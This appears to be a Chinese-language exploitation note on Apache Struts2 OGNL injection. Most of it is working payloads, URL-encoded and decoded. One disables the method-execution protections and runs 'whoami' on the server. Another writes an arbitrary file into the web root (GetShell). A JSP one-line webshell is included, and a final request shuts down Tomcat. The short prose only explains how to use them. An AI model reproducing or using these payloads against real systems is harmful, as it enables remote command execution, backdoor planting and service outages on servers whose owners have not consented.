Struts2漏洞很多工具都可以查到,尝试过有些工具不能完全利用,网上查了下是由于版本太低,没办法了需要手工分析,又没写过java代码,比较烦java,网上搜集各种资料弄明白漏洞原理及利用方式了,做个笔记分析下。 测试工具:鬼哥struts2测试工具 (检测成功) 利用工具:Struts2.jar (利用失败)
利用代码如下 命令执行
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
解码后:(exec是目录执行 whomi)
#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()
GetShell
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22filename%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22body%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
解码后:(Path是写入路径,filename是写入文件名,先运行第一个找到web路径,t是一句话木马密码)
#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append(#a.getParameter("filename")).toString()),#b.write(#a.getParameter("body").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()
Struts2漏洞一句话木马专用:
<%if(request.getParameter("filename")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("filename"))).write(request.getParameter("body").getBytes());%&
//代码的意思是如果filename参数不为空,则创建filename文件,filename是路径,body是内容,以二进制方式写入文件。 分析命令执行和GetShell利用代码,可晓得:
#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),
//构造需要转码下才能利用,后面的可以自由构造利用代码,构造格式 bank.action?a=${struts2利用函数,传参} 例如:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
编码后如下(java.lang.Runtime.getRuntime().exit(1);)实现关闭Tomcat
<%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%29%29&%28asdf%29%28%28%27\u0023rt.exit%281%29%27%29%28\u0023rt\u003d@java.lang.Runtime@getRuntime%28%29%29%29=1